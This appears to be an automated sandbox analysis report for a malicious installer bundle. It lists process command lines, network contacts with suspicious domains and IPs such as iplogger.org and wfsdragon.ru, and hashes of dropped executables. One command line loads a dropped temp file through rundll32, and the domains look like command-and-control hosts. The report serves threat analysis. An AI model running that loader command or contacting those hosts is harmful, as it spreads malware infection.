C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 660
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4640,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4672 /prefetch:8
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 884
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 1068
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 1140
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1180 -ip 1180
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4976,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4988 /prefetch:8
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 1336
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.24.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| N/A | 127.0.0.1:57531 | tcp | |
| N/A | 127.0.0.1:57534 | tcp | |
| NL | 45.133.1.182:80 | tcp | |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| US | 8.8.8.8:53 | 46.2.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.130.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | 3.200.250.142.in-addr.arpa | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | 99.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.215.142.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | 150.16.251.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.google.com | udp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 228.16.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.204.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.200.250.142.in-addr.arpa | udp |
| GB | 172.217.16.228:443 | www.google.com | udp |
| US | 8.8.8.8:53 | ggg-cl.biz | udp |
| US | 8.8.8.8:53 | clients2.google.com | udp |
| GB | 142.250.178.14:443 | clients2.google.com | tcp |
| US | 8.8.8.8:53 | 14.178.250.142.in-addr.arpa | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | ggg-cl.biz | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 45.133.1.107:80 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| N/A | 224.0.0.251:5353 | udp | |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 104.208.201.84.in-addr.arpa | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 104.21.5.208:80 | wfsdragon.ru | tcp |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | 235.4.20.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.5.21.104.in-addr.arpa | udp |
| FR | 51.178.186.149:80 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| LV | 45.142.215.47:27643 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| LV | 45.142.215.47:27643 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| LV | 45.142.215.47:27643 | tcp | |
| US | 72.84.118.132:8080 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| LV | 45.142.215.47:27643 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
| MD5 | d07bd0ebe80eee3d1566618caa51672f |
| SHA1 | 28e747a9cbd035992c8fc7381f6c060dfe4bcbbe |
| SHA256 | c1324e6974abc969b3dd0fa54a25c4089147352c81aeda3cbb2a24662866ad81 |
| SHA512 | 2dccd7c8af21010ab54ca366a2a6deb2ef6a1355604ebb0e0bd158e4d761f32d632b3001b321cc174423a5ff303c3a1df4054f24ef7d04b48167522eb303d9ab |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe
| MD5 | 2d62b8cf0d215971e12220d96a099e81 |
| SHA1 | 72e43b82e9510321dbb5130d35d09acd850c7ad8 |
| SHA256 | bec993083a69304244f13e191173e31d23c634567ab21484258195086112aa40 |
| SHA512 | e0763f93143060599658b64cc3c0fa8e8be62c4af2567ab08868492546f200bb5a91b367d2eea296b0a6d71c39a0f0000d71a66aabc1d36664d01dedbfbc5f59 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
memory/2064-72-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2064-77-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-80-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2064-79-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2064-78-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-76-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-75-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-74-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-73-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2064-71-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2064-70-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2064-69-0x0000000064941000-0x000000006494F000-memory.dmp
memory/2064-68-0x0000000000F10000-0x0000000000F9F000-memory.dmp
memory/2064-67-0x000000006B440000-0x000000006B4CF000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
memory/2064-58-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2064-81-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2064-86-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2064-85-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-84-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2064-83-0x000000006B280000-0x000000006B2A6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07dc9d2dae027.exe
| MD5 | 69f0fe993f6e63c9e7a2b739ec956e82 |
| SHA1 | 6f9a1b7a9fceac26722da17e204f57a47d7b66a5 |
| SHA256 | ee4355899a94ed5b369d8a8851d52ef2286c01af577e70bc82f43a5f4716fb0b |
| SHA512 | 1f81e0b8c3a5748a2aa47e02f8b1c1fc09e8d81871a607a148343ac3c579b82685f41eddf2070976a31aabccef0e70303c05d30e0c78c287a5c478c886185b1a |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe
| MD5 | 7c6b2dc2c253c2a6a3708605737aa9ae |
| SHA1 | cf4284f29f740b4925fb2902f7c3f234a5744718 |
| SHA256 | b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba |
| SHA512 | 19579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0741b6b6c3.exe
| MD5 | f75e29fdd8803d46736be53a119c0814 |
| SHA1 | e75af0dd2e15043e49684e599bd76f037abbee64 |
| SHA256 | fe9cac8ff86d68feb4e76f8bc04c345e767353feed2a5fe8c98cc9a42b8739af |
| SHA512 | 223587ca8c9974976f07a683607cabf9e6414878121be48a4831ce7b5c2bbde7dcfc3dd6454999c135952fddc307d99b47c008a5417d3ab91b58775a6dc92b12 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe
| MD5 | 0f1ef1bad121bd626d293df70f9c73f8 |
| SHA1 | 790d44990c576d1da37e535a447dc6b7270b4ca2 |
| SHA256 | 327e9994d62d8a1042f96db61359c9258ebc9c703f9a536801da79b196c221d3 |
| SHA512 | b626ccadfd53383a1f18d4604b4adac6ac5a0bd010089be26dd026e4a44f565813cff3711cc9343c9112a6cbcdcff208d209fba9e94f1103746e50af83be171b |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0750d1e499.exe
| MD5 | 725101e70fc2007633fca44a6129d46c |
| SHA1 | cd4806d4b7889bf86e80b60e207fd78b32c8c841 |
| SHA256 | 7d7b882da2072450c3924d2b0cbc22e74d4155e8db6a9a14d4932ca5dadf8967 |
| SHA512 | 72c23216429adb6ee0ac52224ace136acedb5f7d4af9dac2bb557cda1843e5239480b97e4be86abc9654e8a273a3f69af36c7dd0500efd247ab3b0b678e7194d |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07fcb30681127.exe
| MD5 | 4a01f3a6efccd47150a97d7490fd8628 |
| SHA1 | 284af830ac0e558607a6a34cf6e4f6edc263aee1 |
| SHA256 | e29476ee4544a426c1518728034242be3e6821f79378ae2faffedecc194c5a97 |
| SHA512 | 4d0e886e3227f09c177f1a9836ee65766aafc7f48458c944da1afc061106dfbbf47455e54065d22de955b44044817ac900ee9ac80b434ad73bf53262acb49519 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07e3a022a8656c5ca.exe
| MD5 | b7ed5241d23ac01a2e531791d5130ca2 |
| SHA1 | 49df6413239d15e9464ed4d0d62e3d62064a45e9 |
| SHA256 | 98ac9097e514852804ca276aac3a319b07acf7219aef34e0d4fff6ea5b094436 |
| SHA512 | 1e4402c695a848bd62f172bd91eb3a4df8067c1fbc5f95dfd601d7a8c24ad81ac2e1f2e1280160087da8c8fbb72e957259661d759d8f7d9317cef3c64429a126 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun075246a0bffeab.exe
| MD5 | 118cf2a718ebcf02996fa9ec92966386 |
| SHA1 | f0214ecdcb536fe5cce74f405a698c1f8b2f2325 |
| SHA256 | 7047db11a44cfcd1965dcf6ac77d650f5bb9c4282bf9642614634b09f3dd003d |
| SHA512 | fe5355b6177f81149013c444c244e540d04fbb2bcd2bf3bb3ea9e8c8152c662d667a968a35b24d1310decb1a2db9ac28157cda85e2ef69efee1c9152b0f39089 |
memory/4736-126-0x0000000000F80000-0x0000000000F86000-memory.dmp
memory/4988-129-0x0000000005540000-0x0000000005B68000-memory.dmp
memory/4988-128-0x0000000002D10000-0x0000000002D46000-memory.dmp
memory/2148-127-0x0000000000090000-0x0000000000102000-memory.dmp
memory/4736-122-0x00000000007C0000-0x00000000007D6000-memory.dmp
memory/2064-113-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2064-112-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2064-111-0x0000000064940000-0x0000000064959000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07778dd9fc6d53.exe
| MD5 | ecc773623762e2e326d7683a9758491b |
| SHA1 | ad186c867976dc5909843418853d54d4065c24ba |
| SHA256 | 8f97a40b4d9cf26913ab95eec548d75a8dad5a1a24d992d047e080070282d838 |
| SHA512 | 40e30981f533b19123ec3d84276a28acd282c01907398ca6d67155901cfaf2c2d6355dc708d0ecfc6c21b5c671b4c3bb87eeb53183b7085474a2acd302f038a4 |
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07be2debb1a.exe
| MD5 | 7908fc00709580c4e12534bcd7ef8aae |
| SHA1 | 616616595f65c8fdaf1c5f24a4569e6af04e898f |
| SHA256 | 55fc7e624b75a66d04ed1dfc8d6957ceb013db94e9be29e779280378011d1399 |
| SHA512 | 0d5a72410d628d3bf6ff9188a69f378e04184ed603a620659f4084bd8a5a392577849c5aa895706eec5213b0036d24faafb8e153b458b5f53d8da7ce636b7a00 |
memory/2064-114-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2064-115-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2064-110-0x0000000000400000-0x000000000051C000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0752b359bd184a.exe
| MD5 | aee0df0b273236965ad033c9a4be275f |
| SHA1 | ac8124f037441434c9881a2649e2e62bf276b1a6 |
| SHA256 | 622752355b43c5c019c6242b40c93288006b61fea2039d467bff1ac9c7e4dd85 |
| SHA512 | 759013680b6019d2783aabc1313bd949c564b7a8ecd267b626a9011963c0622dccfe3853f30df3c5d4434683adcf08372305abfae974692ed5cbc2d55842567f |
memory/4684-108-0x00000000009C0000-0x00000000009C8000-memory.dmp
memory/2148-130-0x0000000004920000-0x0000000004996000-memory.dmp
memory/2148-131-0x00000000048E0000-0x00000000048FE000-memory.dmp
memory/2148-132-0x0000000005020000-0x00000000055C4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vct1ngqu.svi.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4988-142-0x0000000005DE0000-0x0000000005E02000-memory.dmp
memory/4796-145-0x00000000036A0000-0x00000000036C4000-memory.dmp
memory/4988-144-0x0000000005F60000-0x0000000005FC6000-memory.dmp
memory/4988-143-0x0000000005E80000-0x0000000005EE6000-memory.dmp
memory/4796-146-0x0000000006200000-0x0000000006222000-memory.dmp
memory/4988-147-0x0000000005FD0000-0x0000000006324000-memory.dmp
memory/4796-148-0x0000000006220000-0x0000000006838000-memory.dmp
memory/4796-149-0x00000000068D0000-0x00000000068E2000-memory.dmp
memory/2064-160-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2064-159-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2064-158-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/4796-157-0x00000000068F0000-0x00000000069FA000-memory.dmp
memory/4796-162-0x0000000006A80000-0x0000000006ACC000-memory.dmp
memory/4796-161-0x0000000006A00000-0x0000000006A3C000-memory.dmp
memory/2064-156-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2064-155-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2064-150-0x0000000000400000-0x000000000051C000-memory.dmp
memory/4988-163-0x0000000005F30000-0x0000000005F4E000-memory.dmp
memory/4884-164-0x0000000000400000-0x00000000016C7000-memory.dmp
memory/4988-176-0x0000000007270000-0x00000000072A2000-memory.dmp
memory/4988-177-0x000000006E920000-0x000000006E96C000-memory.dmp
memory/4988-187-0x0000000007250000-0x000000000726E000-memory.dmp
memory/4988-188-0x00000000072C0000-0x0000000007363000-memory.dmp
memory/4988-197-0x0000000007C70000-0x00000000082EA000-memory.dmp
memory/4988-198-0x0000000007630000-0x000000000764A000-memory.dmp
memory/4988-199-0x00000000076B0000-0x00000000076BA000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\20L2vNO.2
| MD5 | 4bf3493517977a637789c23464a58e06 |
| SHA1 | 519b1fd3df0a243027c8cf4475e6b2cc19e1f1f4 |
| SHA256 | ccf0f8d1770436e1cd6cdcfa72d79a791a995a2f11d22bdf2b1e9bfbdd6f4831 |
| SHA512 | 4d094e86e9c7d35231020d97fbcc7d0c2f748d1c22819d1d27dabbb262967800cc326911a7e5f674461d9932e244affe9a01fa9527f53248e5867490e0e09501 |
C:\Users\Admin\AppData\Local\Temp\ScMeAP.SU
| MD5 | ac6ad5d9b99757c3a878f2d275ace198 |
| SHA1 | 439baa1b33514fb81632aaf44d16a9378c5664fc |
| SHA256 | 9b8db510ef42b8ed54a3712636fda55a4f8cfcd5493e20b74ab00cd4f3979f2d |
| SHA512 | bfcdcb26b6f0c288838da7b0d338c2af63798a2ece9dcd6bc07b7cadf44477e3d5cfbba5b72446c61a1ecf74a0bccc62894ea87a40730cd1d4c2a3e15a7bb55b |
C:\Users\Admin\AppData\Local\Temp\gUVIl5.SCh
| MD5 | 973c9cf42285ae79a7a0766a1e70def4 |
| SHA1 | 4ab15952cbc69555102f42e290ae87d1d778c418 |
| SHA256 | 7163bfaaaa7adb44e4c272a5480fbd81871412d0dd3ed07a92e0829e68ec2968 |
| SHA512 | 1a062774d3d86c0455f0018f373f9128597b676dead81b1799d2c2f4f2741d32b403027849761251f8389d248466bcd66836e0952675adcd109cc0e950eaec85 |
C:\Users\Admin\AppData\Local\Temp\ykifDQA.1
| MD5 | 7b25b2318e896fa8f9a99f635c146c9b |
| SHA1 | 10f39c3edb37b848974da0f9c1a5baa7d7f28ee2 |
| SHA256 | 723b3b726b9a7394ac3334df124a2033536b108a8eb87ec69e0a6e022c7dcd89 |
| SHA512 | a3b294e93e9d0a199af21ad50af8290c0e0aaa7487019480ca3ffd75aa8ad51c4d33612ec69275e4fa2273ca5e33fdfdf263bb0ce81ad43ce092147118fa8ca6 |
C:\Users\Admin\AppData\Local\Temp\7TcIneJp.0
| MD5 | 6c83f0423cd52d999b9ad47b78ba0c6a |
| SHA1 | 1f32cbf5fdaca123d32012cbc8cb4165e1474a04 |
| SHA256 | 4d61a69e27c9a8982607ace09f0f507625f79050bdf7143c7fe0701bf1fab8ae |
| SHA512 | e3d1537f4b22ceadfef3b30216b63320b397a179ab9d5f1eb66f93811a2717ee1fb6222989f610acd4c33fae6078c3df510022b5748a4f1d88ebf08c12f9deec |
memory/4988-207-0x00000000078A0000-0x0000000007936000-memory.dmp
memory/4988-208-0x0000000007830000-0x0000000007841000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\R6f7sE.I
| MD5 | bd3523387b577979a0d86ff911f97f8b |
| SHA1 | 1f90298142a27ec55118317ee63609664bcecb45 |
| SHA256 | a7e608f98f06260044d545f7279b8f859f7b7af98ac2b2b79a3cd7ac3b2dac36 |
| SHA512 | b37cb8daddb526312f6be439a3cb87fe62b69d44866df708f10eb148455f09f90b0dcee4360c1ae332d3936357fd4c474920aebec5aa8ddb005b617356c3d286 |
memory/4988-211-0x0000000007860000-0x000000000786E000-memory.dmp
memory/4988-212-0x0000000007870000-0x0000000007884000-memory.dmp
memory/3048-217-0x0000000000400000-0x0000000000422000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Sun0794d0eebce1.exe.log
| MD5 | e5352797047ad2c91b83e933b24fbc4f |
| SHA1 | 9bf8ac99b6cbf7ce86ce69524c25e3df75b4d772 |
| SHA256 | b4643874d42d232c55bfbb75c36da41809d0c9ba4b2a203049aa82950345325c |
| SHA512 | dd2fc1966c8b3c9511f14801d1ce8110d6bca276a58216b5eeb0a3cfbb0cc8137ea14efbf790e63736230141da456cbaaa4e5c66f2884d4cfe68f499476fd827 |
memory/4988-218-0x0000000007960000-0x000000000797A000-memory.dmp
memory/4988-219-0x0000000007950000-0x0000000007958000-memory.dmp
memory/3744-231-0x00000000030A0000-0x0000000003145000-memory.dmp
memory/3744-235-0x0000000003150000-0x00000000031E2000-memory.dmp
memory/3744-232-0x0000000003150000-0x00000000031E2000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
| MD5 | b0d69f6c2ea1b723c66686cd6984f1d5 |
| SHA1 | 56141ec6480551fd40f0eeaadf78b1f4c2108d2c |
| SHA256 | c963841f866c066cfd04179200f05d8ba517c3efbcea772bc36e42c52e3248c7 |
| SHA512 | bd7c303e2a2a3e0006e565d52289a6b11faa49a1ef056eb3a9e81cc0c25cb71308cef68958512d72bb84fcee7ca7d61b996a4563e6b3af1be9da8ed84b20c4c0 |
\??\pipe\crashpad_1548_JUJYQPOMJWPVHZPW
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
memory/4796-249-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/1180-248-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/3744-254-0x0000000000400000-0x000000000054C000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
| MD5 | d751713988987e9331980363e24189ce |
| SHA1 | 97d170e1550eee4afc0af065b78cda302a97674c |
| SHA256 | 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945 |
| SHA512 | b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\998cff94-0241-42ff-9001-5ad157ef0301.tmp
| MD5 | 6a0a9407022896ddca4933cb753ed67b |
| SHA1 | aa9253dbca2faf35bcfe803e88c4e7864a792ef4 |
| SHA256 | 9da3fb130ae0a7751ac53dbc5ab06fd4d90aa77f855218c4a5aca454e35bc9ad |
| SHA512 | ee1b1ad08ebc7e36ac68c34db3e930ce1afb85c5b036e3ead0a0c2d32b7b7a164f16ac80de4b4a714df56b3b5687d3b306637e1f1d0b8eb5c062d842ea679d42 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
